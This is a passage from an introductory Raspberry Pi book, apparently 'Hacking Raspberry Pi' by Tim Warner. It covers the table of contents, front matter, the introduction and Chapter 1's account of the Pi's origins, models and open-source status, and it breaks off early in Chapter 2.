Chapter 4 Installing and Configuring an Operating System
Common Operating Systems
Understanding Linux
Linux and Raspberry Pi
The Kernel and Firmware
Raspberry Pi’s Other Operating Systems
Installing Raspbian on Your Raspberry Pi
Task: Creating a Raspbian SD Card in Windows
Task: Creating a Raspbian SD Card in OS X
Task: Creating a Raspbian SD Card in Linux
An All-in-One Solution
Task: Installing an OS on Your Raspberry Pi Using NOOBS
Testing Your New Raspbian Image
Chapter 5 Debian Linux Fundamentals—Terminal
Baby Steps
Essential Terminal Commands
startx
pwd
ls
cd
sudo
passwd
nano
man
shutdown
Updating Your Software
Updating Raspbian
Updating the Pi Firmware
Revisiting Raspi-Config
Expand Filesystem
Change User Password
Enable Boot to Desktop
Internationalisation Options
Enable Camera
Add to Rastrack
Overclocking
Advanced Options
Raspi-Config Under the Hood
Next Steps
Chapter 6 Debian Linux Fundamentals—Graphical User Interface
LXDE—The Desktop Environment
Starting and Exiting LXDE
Task: Using Raspi-Config to Adjust Boot Behavior
Touring the LXDE Interface
Delving into the Main Menu
Installing, Updating, and Removing Software
Accessing the Pi Store
Task: Downloading a Free App from the Pi Store
Tweaking the LXDE UI
Task: Change the Desktop Background
Task: Customize the LXTerminal
Task: Customize the LXPanel
Openbox
Editing Configuration Files
Chapter 7 Networking Raspberry Pi
Basic Networking Concepts
Configuring Wired Ethernet
Task: Setting a Static IP Address on Your Raspberry Pi
Configuring Wireless Ethernet
Task: Setting Up Wi-Fi on Your Pi
Configuring “Headless” Raspberry Pi
Secure Shell (SSH)
Task: Using SSH to Connect to a Raspberry Pi Remotely
Virtual Network Computing (VNC)
Task: Using VNC to Connect to the Raspberry Pi
Task: Configure Your Pi to Start VNC Server Automatically
On Browsing the Web with the Pi
Chapter 8 Programming Raspberry Pi with Scratch—Beginnings
Technical Aspects of Scratch
Scratch Version Issues
The Scratch Community
Getting Comfortable with the Scratch Interface
About Blocks
Crafting a (Very) Simple Scratch Application
Task: Creating a Basic Scratch App
The PicoBoard
Obtaining a PicoBoard?
Using a PicoBoard in Scratch
Task: Using the PicoBoard in Scratch
Chapter 9 Programming Raspberry Pi with Scratch—Next Steps
Begin with the End in Mind
Let’s Build the Game!
Task: Setting Up the Game Screens
Task: Setting Up the Scratch Cat
Setting Up the First Ball
Setting Up the Second and Third Balls
Debugging and Troubleshooting
Uploading Your Project
Task: Share Your Scratch Project
Remixing
Task: Create a Remix
Chapter 10 Programming Raspberry Pi with Python—Beginnings
Checking Out the Python Environment
Interacting with the Python 3 Interpreter
Exiting the Interpreter
Getting Online Help
Writing Your First Python Program
Task: Creating Your First Python Script
Running Python Scripts
Task: Running Python Scripts (command line)
Task: Running Python Scripts (IDLE)
Broadening Your Python Horizons
Chapter 11 Programming Raspberry Pi with Python—Next Steps
Getting Comfortable with IDLE
Task: Creating a New Python Script File
Writing a Simple Game
Delving into a Bit More Detail
Variables
Type Casting
Concatenation
Modules
Task: Loading and then Updating the GPIO Module in Python 3
Where Do You Go from Here?
Part III Basic Raspberry Pi Projects
Chapter 12 Raspberry Pi Media Center
A Bit o’ History
But Will It Blend?
Introducing Raspbmc
Task: Installing Raspbmc Under Windows
Task: Installing Raspbmc Under OS X
Configuring Raspbmc
Getting Your Remote Control Working
Task: Controlling Your Raspbmc Box from iOS
Task: Controlling Your Raspbmc Box from a Web Browser
Task: Configuring a GPIO-based IR Receiver
Transferring Content to Your Pi
Task: Uploading Media Content to Raspberry Pi
Scraping Your Media
Task: Configuring XBMC Media Detection
Playing Your Content
Installing Add-Ons
Chapter 13 Raspberry Pi Retro Game Station
A Word About Console Video Game Emulation
Installing RetroPie
Task: Setting Up RetroPie
Transferring ROMs to RetroPie
Task: Transferring ROMs to Your Raspberry Pi
Setting Up Your Controls
Task: Configure RetroPie Joystick Control Mappings
Playing Your Games
Installing Useful Add-Ons
Task: Install ES-Scraper
In Search of the Perfect Joystick
Chapter 14 Raspberry Pi Minecraft Server
Installing Minecraft Pi
Task: Installing Minecraft Pi
Accessing the Python API
Task: Loading the Minecraft Python Libraries
Task: Making Your Player Jump High!
Task: Create a Diamond Floor
Building a Minecraft Server
Task: Installing Java and the Minecraft Server
Administering a Minecraft Server
Minecraft Plugins
Chapter 15 Raspberry Pi Web Server
What Is the LAMP Stack?
Installing Your Web Server
Task: Installing the LAMP Stack on Raspberry Pi
Task: Verifying PHP Configuration
Task: Verifying MySQL Installation
Tweaking Up Your Web Server Settings
Transferring Content to Your Web Server
Task: Using SFTP to Transfer Content to Your Pi
Task: Install and Test FTP on Your Raspberry Pi
Setting Up phpMyAdmin
Task: Installing phpMyAdmin
Setting Up Joomla
Task: Installing Joomla on Your Raspberry Pi
Putting Your Web Server on the Public Internet
Task: Making Your Raspberry Pi Publicly Accessible by Using No-IP
Chapter 16 Raspberry Pi Portable Webcam
About the Raspberry Pi Camera Board
Installing and Configuring the Raspberry Pi Camera Board
Task: Preparing the Raspberry Pi for the Camera Board
Task: Installing the Raspberry Pi Camera Board
Using the Camera Board
Capturing Still Pictures
Recording Video with the Camera Board
Task: Encoding a raspivid Video File
Using a Third-Party USB Webcam
Task: Configuring a Third-Party USB Webcam
Setting Up Your Webcam
Task: Setting Up a Time-Lapse Webcam
Adding a Rechargeable Battery Pack to Your Pi Camera
Python and Your Webcam
Task: Setting up SimpleCV
Chapter 17 Raspberry Pi Security and Privacy Device
Encrypting Your Internet Connection with a VPN
Browsing Where You Want via a Proxy Server
Building Your Raspberry Pi VPN Gateway
Task: Creating Your Hamachi VPN
Task: Connecting to Your Hamachi VPN from Your Desktop Computer
Task: Installing Hamachi Client on Your Raspberry Pi
Building Your Raspberry Pi Proxy Server
Task: Installing and Configuring Privoxy Raspberry Pi
Testing the Configuration
Task: Pointing Your Workstation Computer at Your Pi Proxy
Speaking of Geolocation...
Task: Adding Your Raspberry Pi to the Rastrack Database
Building a Raspberry Pi Tor Proxy
Part IV Hacking the Raspberry Pi
Chapter 18 Raspberry Pi Overclocking
What Is Overclocking?
Warranty Implications of Overclocking
Overclocking Your Pi
The Raspi-Config Method
Task: Verifying Your Pi’s CPU, Voltage, and Temperature Status
The Manual Method
Benchmarking Your Pi
Task: Installing and Running nbench
Adjusting the Memory Split on Your Pi
Task: Tweaking Memory Split with Raspi-Config
Tweaking Memory Split by Hand
A Historical Footnote
Various and Sundry Performance Tweaks
Chapter 19 Raspberry Pi and Arduino
Introducing the Arduino
Digging into the Arduino Uno
Connecting the Arduino and the Raspberry Pi
Connecting the Raspberry Pi GPIO Pins to the Arduino Serial Pins
Connecting the Raspberry Pi GPIO Pins to the Arduino I2C
Connecting the Raspberry Pi to the Arduino via USB
Connecting the Raspberry Pi to the Arduino via a Shield or Bridge Board
Connecting the Raspberry Pi to an Arduino Clone
Understanding the Arduino Development Workflow
Task: Install and Configure Arduino IDE on the Raspberry Pi
Task: Running the “Blink” Sample Sketch
Fading an LED
Task: Running the Fade Sketch
Using the AlaMode
Task: Getting the AlaMode Up and Running
Chapter 20 Raspberry Pi and the Gertboard
Anatomy of the GPIO
Connecting Your Gertboard and Raspberry Pi
Installing the Testing Software
Task: Enabling SPI on Your Raspberry Pi
Task: Installing the Python Gertboard Test Suite
Testing the LEDs
Testing Input/Output
A Couple Quick Breadboarding Exercises
Accessing the GPIO Pins Directly
Task: Lighting an LED Directly from the GPIO
Accessing the GPIO Pins via the Pi Cobbler
Programming the Atmel Microcontroller
Task: Preparing Your Arduino Environment
Final Thoughts, and Thank You
Index
About the Author
Timothy L. Warner has helped thousands of beginners succeed with technology in business and in
schools. Until recently a digital media specialist with Pearson Technology Group, he worked in
various facets of information technology, including systems administration, software architecture, and
technical training. He is the author of Unauthorized Guide to iPhone, iPad and iPhone Repair.
Dedication
To my father, Lawrence K. Warner, whose fascination with electronic gadgets fueled and inspired
my own.
Acknowledgments
Thank you to all my friends at Pearson Technology Group, especially my editors Rick Kughen and
Todd Brakke, my publishers Greg Wiegand and Paul Boger, my project managers Elaine Wiley and
Kristen Watterson, and my copy editors/proof readers Chrissy White and Kathy Ruiz. You are a
group of wonderful people, that’s for sure.
With regard to the book’s subject matter, thank you to Eben Upton and Gert van Loo of the Raspberry
Pi Foundation (Gert, I know you say you aren’t a member of the Foundation, but you’re foundational
to the Pi project at any rate) for your gracious assistance—you guys are brilliant! Thanks to Brian
McLaughlin for his thorough technical edit of the manuscript.
Thank you to my family (Susan, Zoey, Fred, Moon, Maya, Stub, Mom, Dad, Trish, Mom H, Rick
Chelle, Don, Alex, Kevin, Kristina, and so on) for your love and support—I treasure you all.
Finally, thank you to you, my reader. Without you I would be teaching and writing into a blank void.
Don’t get me wrong—I love the sound of my own voice and I’m my own favorite subject. However,
discussing this technology and sharing this knowledge just wouldn’t be the same without you.
We Want to Hear from You!
As the reader of this book, you are our most important critic and commentator. We value your opinion
and want to know what we’re doing right, what we could do better, what areas you’d like to see us
publish in, and any other words of wisdom you’re willing to pass our way.
We welcome your comments. You can email or write to let us know what you did or didn’t like about
this book—as well as what we can do to make our books better.
Please note that we cannot help you with technical problems related to the topic of this book.
When you write, please be sure to include this book’s title and author as well as your name and email
address. We will carefully review your comments and share them with the author and editors who
worked on the book.
Email: [email protected]
Mail: Que Publishing
ATTN: Reader Feedback
800 East 96th Street
Indianapolis, IN 46240 USA
Reader Services
Visit our website and register this book at quepublishing.com/register for convenient access to any
updates, downloads, or errata that might be available for this book.
Introduction
Hi! I’m Tim Warner, and I am happy to be your guide to the Raspberry Pi. My goal for this
Introduction is to get you excited about this $35 credit card-sized computer that we call the Raspberry
Pi.
“What in the world can you do with a $35 computer?” you might ask. Well let’s have a look at a
representative smattering of some popular Raspberry Pi projects, and you can answer that question
for yourself:
Picade Arcade Cabinet (http://is.gd/i4YwQ2). This is a tiny, fully-functional arcade machine.
Pi in the Sky (http://is.gd/4niEMV). The inventor put a camera-equipped Raspberry Pi into the
upper atmosphere via a weather balloon.
Streaming Music Jukebox (http://is.gd/oqec3H). This is an inexpensive wireless music
broadcasting machine.
Raspberry Pi Keyboard Computer (http://is.gd/tvmgC8). This is a full computer packed into
the form factor of a computer keyboard.
DeviantArt Picture Frame (http://is.gd/i7ED9w). This is an interactive frame that dynamically
displays artwork from the DeviantArt website.
Pi-Powered Bitcoin Miner (http://is.gd/DrpJ7A). This tiny rig enables you to participate in
Bitcoin mining, which can yield you some hefty monetary returns.
FM Radio Transmitter (http://is.gd/tS52Yb). This is a low-power (albeit mono) portable FM
radio.
KindleBerry Pi (http://is.gd/73iVz4). This is a Pi that uses an Amazon Kindle as a monitor and
a “dumb” terminal.
Pi-Powered Motion Detector (http://is.gd/g4Okb6). This is a Pi that can detect motion and
optionally take action upon that detection.
3D Printer (http://is.gd/Bg83jD). This is a Raspberry Pi-powered printer that can actually
fabricate three-dimensional objects.
Cheese-Powered Radio-Controlled Car (http://is.gd/ZExbWO). This radio-controlled car is
controlled with a Nintendo Wii Remote and powered by ordinary slices of cheese.
Raspberry Pi Robot (http://is.gd/367FZ5). This is a multi-tasking robot that uses the Raspberry
Pi as its “brain.”
Automated Chicken Coop Door (http://is.gd/boZR6F). This is a Raspberry Pi, a relay, and a
motor that opens and closes a farm chicken coop door on a schedule.
Pi-Powered Weather Station (http://is.gd/LDbZIr). This outdoor weather sensing and reporting
unit runs on USB power.
Audio Book Player (http://is.gd/TnkcoW). The inventor made this simple, push button-
operated audio book player for his grandmother’s 90th birthday.
Android Device (http://is.gd/9eLPkV). The true mark of the software/hardware hacker is to get
Linux or Android running on any device. This is a Raspberry Pi that runs Android 4.0 Ice
Cream Sandwich.
I think you’ll agree that the diminutive Raspberry Pi has quite a bit of potential for a tiny little circuit
board. Let’s take a look at how I’ve organized this book to provide you with maximum learning in
minimum time.
The title of this book contains the inflammatory term hacking. This word has several meanings even
within the information technology industry. First, hacking means to use or adapt a piece of electronics
for a purpose other than which it was originally intended. For instance, you can hack your eReader
such that it runs Linux and acts as a web server. Would you want to? Believe it or not, people do
exactly that, often just to see if they can.
Second, hacking means to break into someone else’s computer system, often illegally and without the
owner’s permission. Of course, Hacking Raspberry Pi embraces the first definition of the term!
What’s in This Book
Hacking Raspberry Pi is organized in such a way that I gradually immerse you into software and
hardware engineering. Believe it or not, configuring hardware and mastering the Linux command line
isn’t as difficult as you might have imagined. This book takes you through it, beginning with...
Chapter 1—What Is the Raspberry Pi?: Here I explain exactly what the Raspberry Pi is,
how it is important, and why you would want to learn more about the device.
Chapter 2—Hardware Components Quick Start: In this chapter you become familiar with
the Raspberry Pi’s form factor; in other words, its onboard hardware.
Chapter 3—A Tour of Raspberry Pi Peripheral Devices: What do you plug into the
Raspberry Pi and where? This chapter gives you everything you need to know to get your
Raspberry Pi up and running.
Chapter 4—Installing and Configuring an Operating System: In this chapter you learn how
to install Raspbian, the reference Linux distribution for Raspberry Pi.
Chapter 5—Debian Linux Fundamentals—Terminal: This chapter is an excellent jump-start
for those who always wanted to understand something of the Linux command-line environment.
Chapter 6—Debian Linux Fundamentals—Graphical User Interface: Sometimes it is plain
easier to navigate in Linux from a GUI environment. Here you learn how to use LXDE, the
reference GUI shell in Raspbian.
Chapter 7—Networking Raspberry Pi: In most cases, you’ll want to put your Raspberry Pi
on your local area network (LAN), if not the Internet. You learn how to configure both wired
and wireless Ethernet by reading the material in this chapter.
Chapter 8—Programming Raspberry Pi with Scratch—Beginnings: Scratch provides an
easy-to-learn platform for learning how to develop computer programs. In this chapter you
become familiar with what Scratch is and how the platform works.
Chapter 9—Programming Raspberry Pi with Scratch—Next Steps: Here you develop your
first real Scratch application, all on the Raspberry Pi!
Chapter 10—Programming Raspberry Pi with Python—Beginnings: The “Pi” in Raspberry
Pi is actually a reference to the Python programming language. Therefore, it is imperative that
you learn a thing or two about programming in Python.
Chapter 11—Programming Raspberry Pi with Python—Next Steps: Many Raspberry Pi
projects involve one or more Python scripts. Therefore, the more experience you obtain with
the language, the better.
Chapter 12—Raspberry Pi Media Center: This section of the book is focused on applying
your new Raspberry Pi skills to several practical projects. Here you build a Pi-powered
media center running Xbox Media Center (XBMC).
Chapter 13—Raspberry Pi Retro Game Station: Who does not love retro video games? In
this chapter you learn how to convert your Raspberry Pi into a mobile classic game station.
This is my favorite project in the entire book.
Chapter 14—Raspberry Pi Minecraft Server: In this chapter you learn how to install,
configure, and play Minecraft Pi Edition. You also learn how to set up your Pi as a Minecraft
server.
Chapter 15—Raspberry Pi Web Server: Here you configure your Raspberry Pi to serve up
web pages on your own local network and/or the public Internet.
Chapter 16—Raspberry Pi Portable Webcam: Many people are interested in making their
own security camera or general-purpose webcam. It is surprisingly easy to do this with a
Raspberry Pi; you can use the Raspberry Pi Camera Board or your own webcam.
Chapter 17—Raspberry Pi Security and Privacy Device: You can use the Raspberry Pi to
increase your online security and privacy, say, when you access the Internet through a public
Wi-Fi hotspot, hotel room, and so forth. You learn a lot of cool stuff in this chapter!
Chapter 18—Raspberry Pi Overclocking: Although the Raspberry Pi is small and
inexpensive, the Raspberry Pi Foundation gives users a great deal of flexibility in squeezing
every bit of performance from the device. In this chapter you learn what your options are and
how to leverage them to customize the behavior of your Pi.
Chapter 19—Raspberry Pi and Arduino: For my money, the combination of the Raspberry Pi
and the Arduino is unbeatable with Pi’s flexibility and the Arduino’s singleness of purpose. In
this chapter you use the Arduino Uno and Alamode with your Pi and get some great project
ideas.
Chapter 20—Raspberry Pi and the Gertboard: I close the book by teaching you how to use
the ultimate Raspberry Pi add-on board, the Gertboard. The Gertboard is a kitchen sink
expansion board that provides you with many opportunities for experimentation and learning.
This book is chock-full of tasks that give you guided experience at setting up, configuring,
troubleshooting, and building projects with your Raspberry Pi. I strongly suggest you work through as
many tasks as possible.
I am confident that by the time you finish this volume, you will not only be able to discuss the
Raspberry Pi intelligently, but you’ll also have an excellent baseline familiarity with practical,
applied computer science.
Who Can Use This Book
Ah, now we come to the “Exactly who is this book intended for?” question. Actually, I have a very
detailed view of those of you who will benefit most from this book:
Students and Teachers: The Raspberry Pi was developed by educators for educators and
their students. Due to its open architecture and low price point, people can use the Pi as a
platform for learning how computer hardware works at a low level with minimal risk. After
all, if the worst happens and you fry your Pi, your investment loss is limited to $25 or $35.
Hardware and Software Hackers: As I discussed earlier in this Introduction, hacking has
myriad goals. Here I refer to those who want to leverage the Pi to accomplish some business
or personal goals, with or without the addition of third-party extension hardware and software.
Tech Enthusiasts: These people are do-it-yourselfers (DIYers) who are of the mind, “It’s
cheaper for me to make it myself,” or better yet, “I can make this better than anything I can
buy.” If you are among these individuals, then kudos to you! You are among a small elite.
How to Use This Book
I hope this book is easy enough to read that you don’t need instructions. That said, a few elements
bear explaining.
First, I love to provide relevant websites, but as you know, some URLs are absurdly long and
difficult to transcribe. To that end, I make use of the is.gd (http://is.gd) URL shortening service. I
hope you find my is.gd “shortie” URLs convenient. One important note about those is.gd URLs: they
are case-sensitive, so if you type the URL http://is.gd/6zwzwT as http://is.gd/6ZWZWT or some other
variation, the link will not work correctly.
Second, this book contains several special elements, presented in what we in the publishing business
call “margin notes.” There are different types of margin notes for different types of information, as
you see here.
Note
This is a note that presents information of interest, even if it isn’t wholly relevant to the
discussion in the main text.
Task: This Is a Task
This is a step-by-step procedure that gives you practice in whatever technology we’re
discussing at the moment. Almost every chapter in this book has at least a couple tasks for
you to perform that will help you get the most out of your Raspberry Pi.
There’s More Online...
When you need a break from reading, feel free to go online and check out my personal website,
located at timwarnertech.com. Here you’ll find more information about this book as well as other
work I do. And if you have any questions or comments, feel free to send me an email at
[email protected]. I do my utmost to answer every message I receive from my readers. Thanks
very much for reading my book, and I hope that it exceeds your expectations!
Part I: Hardware Foundations
Chapter 1. What Is the Raspberry Pi?
The Raspberry Pi, with Pi pronounced pie, is a $35 personal computer about the size of a credit card.
No kidding—the Raspberry Pi development team literally used a credit card as a template when they
designed the Pi’s printed circuit board (PCB).
The Pi, or RasPi, or RPi (users enjoy creating nicknames for the device) is the brainchild of the
Raspberry Pi Foundation (http://raspberrypi.org), a charity based in the United Kingdom (UK) and
founded by Broadcom hardware architect Eben Upton, along with some of his esteemed associates at
Broadcom, Cambridge University, and other corporate and educational organizations.
Historically, computer science curricula both at the K-12 and even collegiate levels—if there is any
curricula at all—tend to focus more on theory than on practical application of computing concepts.
Eben and the Foundation conceived the Raspberry Pi in 2006 as a way to make computer science
more accessible to students.
Eben and I arose from the same generation of programmers, which is to say we came of age during the
early 1980s and cut our teeth learning Beginner’s All-Purpose Symbolic Instruction Code (BASIC)
programming on microcomputer platforms such as the Amstrad CPC, Commodore 64, Tandy TRS-80,
and others.
The Raspberry Pi was intended to be the cultural successor to the Acorn BBC Micro personal
computer that was extremely popular in the UK during the 1980s (see Figure 1.1).
FIGURE 1.1 The BBC Micro personal computer of 1981 was the prototype for the Raspberry Pi
of 2012.
The BBC Micro shipped with a 2 MHz MOS Technology 6502 central processing unit (CPU). Later
models, specifically the Archimedes, introduced the Acorn RISC Machines (ARM) processor.
Believe it or not, the ARM processor platform is still alive and well in the 21st century; its
application is mainly targeted to mobile phones and tablet computers. The Raspberry Pi is equipped
with an ARM1176JZF-S (often abbreviated as ARM11) CPU; we’ll learn much more about Pi
hardware in Chapter 2, “Hardware Components Quick Start.”
Note: An ARM and a Leg
For CPU devotees in my readership, allow me to tell you that the ARM11 is a 32-bit
microprocessor that uses the Reduced Instruction Set Computing (RISC) processing
architecture.
Why the Pi?
Many consider the Raspberry Pi to be an ideal platform for teaching both kids and adults how
computer science works because it requires minimal investment. Any interested individual can learn
not only how to program computer software, but also to work directly with electronics and computer
hardware. If an experiment goes wrong and the Pi becomes inoperable, then the student is out only
$35 as opposed to hundreds or thousands.
My use of the term computer science is intentional. What’s so cool about the Raspberry Pi is that we
can move beyond surface-level software and interact directly with the internals of what most people
consider to be a “black box.” A Raspberry Pi-based education can form the foundation of sought-after
hardware and software engineering skills, which are lucrative and extraordinarily valuable in today’s
global job marketplace.
To be sure, the Pi’s fan base isn’t entirely academic. There exists a devoted following of do-it-
yourselfers and hardware hackers who employ the Pi as an integral part of their hardware and
software hacking experiments.
How about a solar-powered weather station? Or Pi-powered night vision goggles? How do you feel
about having the ability to control your home’s electronics from anywhere in the world using only
your smartphone? All of these project ideas are eminently attainable at reasonable cost, thanks to the
Raspberry Pi.
Note: What’s in a Name?
In case you were wondering, the name Raspberry Pi does indeed have a colorful
history. Raspberry pays homage to the fruit names that played a part in early-80s
microcomputing: Apple Macintosh, Tangerine Microtan 65, Apricot PC—the list goes on.
Pi actually references not the standard number but the Python programming language.
Eben and the rest of the Foundation originally thought that Python would be the sole
programming language supported by their tiny personal computer. As you learn later, the
RasPi allows enthusiasts to write programs using a large variety of programming
languages.
Hardware Versions
It is important to remember that the Raspberry Pi is a full-fledged personal computer and not just a
simple microcontroller. A personal computer is a self-contained system that performs the following
data processing tasks:
Input: The computer receives instructions and data from the user or application.
Processing: The computer performs preprogrammed actions upon its input.
Output: The computer displays the processing results in one or several ways to the user or
application.
In addition, a personal computer typically also includes persistent storage and an operating system
that features a user interface. Much more is discussed concerning these topics in Chapters 2 and 3, “A
Tour of Raspberry Pi Peripheral Devices.”
Suffice to say that the Raspberry Pi does essentially all the things that your full-sized desktop or
laptop computer does, albeit more slowly and on a smaller scale.
By contrast, a microcontroller is a much more specialized piece of hardware. A microcontroller is
an integrated circuit that is similar to a personal computer inasmuch as it receives input, performs
processing on that input, and finally generates output of some kind or another.
However, the microcontroller is set apart from the personal computer by the following three
characteristics:
A microcontroller’s operation depends on precise timing: Because the microcontroller is
generally a single-purpose device, there’s no driver or operating system overhead to slow
down the system. Therefore, the microcontroller can perform work by using extremely precise
clock cycles. This time-dependent operation is difficult to accomplish with the Pi because the
Pi must access its hardware through several software layers.
A microcontroller gives the user full and direct access to hardware: As you learn in
Chapter 4, “Installing and Configuring an Operating System,” most of the Raspberry Pi
hardware (particularly the Broadcom BCM2835 system-on-a-chip) is proprietary. By contrast,
most microcontrollers such as the Atmel Reduced Instruction Set Computing (RISC) chip at the
heart of the Arduino are open source and are therefore completely accessible to users. With the
Pi, we are limited to interacting with the board’s hardware components via software
application programming interfaces (APIs).
A microcontroller typically has no user interface: A programmer must use an external system
to send data to and receive data from a microcontroller.
A microcontroller is typically designed for a single purpose: A microcontroller is intended
to perform a single task—and to do that task precisely and very well. For instance, consider an
Arduino-powered weather station that senses the environment and reports on air temperature,
relative humidity, barometric pressure, and so forth.
A representative Arduino microcontroller (specifically the Uno) board is shown in Figure 1.2.
FIGURE 1.2 The Uno is the flagship of the Arduino microcontroller line.
You learn in Chapter 19, “Raspberry Pi and Arduino,” how well the Raspberry Pi “plays” with the
Arduino platform. In the meantime, here is a list that provides you with some of the most popular
Raspberry Pi-compatible microcontrollers in use today:
Arduino (http://arduino.cc)
BeagleBone (http://beagleboard.org/bone/)
Dwengo (http://www.dwengo.org/products/dwengo-board)
Now then, let’s get down to business and formally introduce the Raspberry Pi.
As of spring 2013, the Raspberry Pi Foundation has two Raspberry Pi models, Model A and Model
B. The differences between the two are shown in Table 1.1.
TABLE 1.1 Comparison of the Two Raspberry Pi Models
Note: History, History, All Around Me
Even the Raspberry Pi nomenclature pays tribute to the British Broadcasting Company
(BBC) Micro personal computer. As it happens, the Micro BBC had a Model A and Model
B, with Model B offering substantially more processing horsepower than the modest Model
A.
So aside from the price difference, what are the key points of distinction between Model A and
Model B? In the simplest terms:
Model B has twice the RAM as Model A.
Model B has an onboard Ethernet RJ-45 jack.
Model B has an extra USB port.
Model A uses 30% as much power as Model B.
If you spend time analyzing the two models (and I certainly hope you invest in one of each and do so),
you’ll notice that the printed circuit boards are indeed identical.
Instead of a redesign, the Foundation simply stripped components off Model B to make Model A.
Look at the image of Model A in Figure 1.3, focusing on the lower right—see that empty socket?
That’s where the Ethernet port is soldered on the Model B board.
FIGURE 1.3 Raspberry Pi board, Model A.
Also notice in this image the unpopulated pad just above the Ethernet area; this is where the
Foundation soldered an SMSC LAN9512 integrated circuit (IC) that controls the Ethernet jack in
Model B.
Because the extra $10 buys you so much more computer, I focus on Model B exclusively in this book.
The good news for Model A owners, however, is that all of the software, hardware, and
programming we undertake here can be performed on both models.
Note: Why Model A?
The question probably came to your mind, “Why would someone purchase Model A
when you get so much more ‘bang for your buck’ with Model B?” The answer probably has
something to do with power consumption. Because the power footprint of Model A is so
tiny, Pi hackers can leverage the Model A platform for low-energy or solar-powered
projects much easier than they can with Model B.
One more thing about the Model B boards specifically: As of spring 2013, the Raspberry Pi
Foundation released two revisions to the Model B PCBs. You can tell at a glance which board
revision you have in front of you by inspecting the light-emitting diode (LED) bank to the right of the
USB port(s). Check it out:
If the first status LED is labeled OK, you have a Revision 1 board.
If the first status LED is labeled ACT, you have a Revision 2 board.
You learn more about the Pi’s status LEDs in Chapter 2.
Is the Raspberry Pi Open Source?
A more important question to have answered before asking whether or not the Raspberry Pi is open
source is “What does open source mean, and why should I care?”
Open source refers to hardware and/or software that is manufactured and given away free of charge
with all intellectual property rights intact. For instance, the open source Linux operating system
allows the general public to download, modify, improve, and release the underlying source code.
The term open source applies to hardware as well. For example, the schematics for the Arduino
microcontrollers are freely available at the Arduino website (http://is.gd/VDVQfF); therefore,
anybody in the world is allowed to analyze and understand the PCBs at a fundamental level.
Why do people invest time and money in developing open source hardware and software, only to
release it to the public for free? Essentially, open source proponents are big fans of free information
interchange.
Its open architecture is one important reason why Linux is considered to be one of the most secure
operating systems in the world. When security vulnerabilities are identified, the Linux community can
delve into the source code to identify and resolve the problem for the benefit of all Linux users across
the world.
For comparison purposes, think of the Microsoft Windows and Apple OS X desktop operating
systems. As you probably know, these OS platforms are proprietary, which means the general public
cannot reverse-engineer the software to examine its underlying source code. The closed nature of
proprietary software presents information security problems because only the software vendors
themselves can resolve vulnerabilities that crop up in their products.
In conclusion, open source hardware and software offers increased security because the community
can identify and correct vulnerabilities quickly. Open source architecture also lends itself to
education because there are no proprietary, hidden components that bar learning. Finally, you can’t
beat the price of open source components—much of it is free, as previously discussed.
Open Source Licenses
Open source software is typically released under a license agreement called the GNU General Public
License (http://is.gd/7s17wU), also called the GPL. The gist of the license is that anybody can
download and use GPL software to their heart’s content and for free. Users are also welcome to
modify the software in any way that they see fit, as long as they release their modified version under
the GPL.
Note: GNU Who?
GNU, commonly pronounced guh-NU, is a recursive acronym that stands for “GNU’s
Not Unix.” This is a super-geeky reference to the Unix operating system, the proprietary
precursor to Linux. Incidentally, a gnu (pronounced nu) is a large, dark antelope that is also
known as a wildebeest.
Open Source and the Raspberry Pi
The answer to the kernel question, “Is the Raspberry Pi open source?” is...well...complicated.
The Raspberry Pi runs variants of the Linux (also called GNU/Linux) operating system, which we’ve
already established are free and open source. However, the “guts” of the RasPi’s hardware—its
Broadcom BCM2835 system on a chip (SoC)—is proprietary and closed source.
Remember that Eben and some other members of the Raspberry Pi Foundation have close ties to
Broadcom. It’s awfully nice of Broadcom to license its SoC for use in the Pi. The only downside, as I
said, is that the intellectual property behind the Broadcom SoC is confidential.
If there is a silver lining to the Raspberry Pi closed source hardware situation, it is that in late 2012
Broadcom open sourced all of the ARM11 code for the Pi. What this means, especially with
reference to the VideoCore graphics processing unit (GPU), is that the community can build their own
device drivers that offer much more speed and optimization as compared to the default Broadcom
drivers.
Upon closer inspection, however, the situation is much more complicated. The long story short is that
Broadcom offers a GPL-licensed “shim” driver that cooperates input and output between the user and
the CPU/GPU. For instance, the VideoCore IV driver itself consists of a proprietary, Broadcom-
supplied binary large object (BLOB) driver that is not user-modifiable.
Just to be clear: The driver code for the Broadcom SoC is software and is at least somewhat open
source. The hardware itself and its accompanying schematics, remain a mystery to all but Broadcom.
Why do Raspberry Pi enthusiasts care about this? Well, for starters, hardware hackers who want to
access the full power of the VideoCore GPU need access to its source code to access its complete
capability. Imagine if you bought a jigsaw puzzle that only gave you half of the pieces—would you
feel somewhat limited in what you could do with that puzzle?
How Can I Purchase a Raspberry Pi?
The Raspberry Pi Foundation and its original equipment manufacturer (OEM) partners have worked
hard to provide a supply chain for the Pi. According to Eben, the original plan was to manufacture
Raspberry Pi boards strictly in the UK. However, scheduling and cost problems led the Foundation to
initially seek Far East fabrication partners.
However, as of spring 2013, courtesy of the Sony factory in Wales, all Raspberry Pi production now
occurs in the UK.
The finished units are sold exclusively by the following organizations:
Premier Farnell/Element 14 (http://www.farnell.com/)
RS Components (http://uk.rs-online.com/web/generalDisplay.html?id=raspberrypi)
Both Farnell and RS have distribution partners spread throughout the world; you shouldn’t have
trouble finding an official distribution source regardless of where you live.
The problem isn’t so much finding a source for the Pi, but actually receiving a unit! Because demand
has historically exceeded supply, during late 2012 and early 2013, I have observed backorders and
long wait times from both Farnell and RS for both the Model B and the Model A boards. However,
enough “critical mass” should develop in the Raspberry Pi supply chain that by the time you read this,
availability should be reasonable.
One alternative you might want to consider is purchasing your Pi from a reputable eBay seller. I
myself have had great luck in that regard. You know the rules with supply and demand—you’ll
typically pay a premium over the $35 list price for a Model B board. On the other hand, you can get
productive with the Pi months before you can receive one from Farnell or RS.
The bottom line, friends, is that if you want to get your hands on a Raspberry Pi, you’ll most likely
need to do so by purchasing the device from an online reseller. And then perhaps the day will come
(hopefully soon) when consumer electronics stores such as RadioShack and Best Buy stock these
fascinating devices.
Chapter 2. Hardware Components Quick Start
Have you ever heard the term “black box”? Black box is meant to denote any object or process whose
inner workings remain outside of easy view. Personal computers, for instance, are often referred to as
black boxes. Thus, some people are afraid of troubleshooting their own computers for that very
reason—just what does lie inside that fancy computer case?
Well, if you’ve received your Raspberry Pi, you might have been surprised to see that the Foundation
doesn’t give you a case (or peripherals, for that matter). That’s right—for $35 you receive the
Raspberry Pi Model B board and nothing else.
This is actually good news because it forces us to take a long, hard look at that befuddling mass of
wires, components, solder joints, and doo-dads that reside on the Pi board.
